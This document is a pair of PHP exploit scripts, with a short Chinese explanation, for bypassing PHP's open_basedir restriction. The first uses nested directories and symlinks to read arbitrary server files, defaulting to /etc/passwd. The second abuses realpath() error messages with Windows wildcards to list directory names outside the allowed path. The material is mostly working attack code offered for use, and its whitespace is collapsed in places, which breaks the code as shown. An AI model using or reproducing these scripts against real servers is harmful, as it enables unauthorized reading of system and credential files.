<?php/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */header('content-type: text/plain');error_reporting(-1);ini_set('display_errors',TRUE);printf("open_basedir: %s\nphp_version: %s\n",ini_get('open_basedir'),phpversion());printf("disable_functions: %s\n",ini_get('disable_functions'));$file=str_replace('\\','/',isset($_REQUEST['file'])?$_REQUEST['file']:'/etc/passwd');$relat_file=getRelativePath(__FILE__,$file);$paths=explode('/',$file);$name=mt_rand()%999;$exp=getRandStr();mkdir($name);chdir($name);for($i=1;$i<count($paths)-1;$i++){mkdir($paths[$i]);chdir($paths[$i]);}mkdir($paths[$i]);for($i-=1;$i>0;$i--){chdir('..');}$paths=explode('/',$relat_file);$j=0;for($i=0;$paths[$i]=='..';$i++){mkdir($name);chdir($name);$j++;}for($i=0;$i<=$j;$i++){chdir('..');}$tmp=array_fill(0,$j+1,$name);symlink(implode('/',$tmp),'tmplink');$tmp=array_fill(0,$j,'..');symlink('tmplink/'.implode('/',$tmp).$file,$exp);unlink('tmplink');mkdir('tmplink');delfile($name);$exp=dirname($_SERVER['SCRIPT_NAME'])."/{$exp}";$exp="http://{$_SERVER['SERVER_NAME']}{$exp}";echo"\n-----------------content---------------\n\n";echofile_get_contents($exp);delfile('tmplink');functiongetRelativePath($from,$to){// some compatibility fixes for Windows paths
$from=rtrim($from,'\/').'/';$from=str_replace('\\','/',$from);$to=str_replace('\\','/',$to);$from=explode('/',$from);$to=explode('/',$to);$relPath=$to;foreach($fromas$depth=>$dir){// find first non-matching dir
if($dir===$to[$depth]){// ignore this directory
array_shift($relPath);}else{// get number of remaining dirs to $from
$remaining=count($from)-$depth;if($remaining>1){// add traversals up to first matching dir
$padLength=(count($relPath)+$remaining-1)*-1;$relPath=array_pad($relPath,$padLength,'..');break;}else{$relPath[0]='./'.$relPath[0];}}}returnimplode('/',$relPath);}functiondelfile($deldir){if(@is_file($deldir)){@chmod($deldir,0777);return@unlink($deldir);}elseif(@is_dir($deldir)){if(($mydir=@opendir($deldir))==NULL)returnfalse;while(false!==($file=@readdir($mydir))){$name=File_Str($deldir.'/'.$file);if(($file!='.')&&($file!='..')){delfile($name);}}@closedir($mydir);@chmod($deldir,0777);return@rmdir($deldir)?true:false;}}functionFile_Str($string){returnstr_replace('//','/',str_replace('\\','/',$string));}functiongetRandStr($length=6){$chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr='';for($i=0;$i<$length;$i++){$randStr.=substr($chars,mt_rand(0,strlen($chars)-1),1);}return$randStr;}
realpath列举目录
Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
but,在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。
所以就是利用这个特性进行猜解,考虑到效率问题,所以利用了Windows下的通配符
<?phpini_set('open_basedir',dirname(__FILE__));printf("<b>open_basedir: %s</b><br />",ini_get('open_basedir'));//打印了当前open限制的目录
set_error_handler('isexists');$dir='d:/test/';$file='';$chars='abcdefghijklmnopqrstuvwxyz0123456789_';for($i=0;$i<strlen($chars);$i++){$file=$dir.$chars[$i].'<><';realpath($file);}functionisexists($errno,$errstr){$regexp='/File\((.*)\) is not within/';preg_match($regexp,$errstr,$matches);if(isset($matches[1])){printf("%s <br/>",$matches[1]);}}?>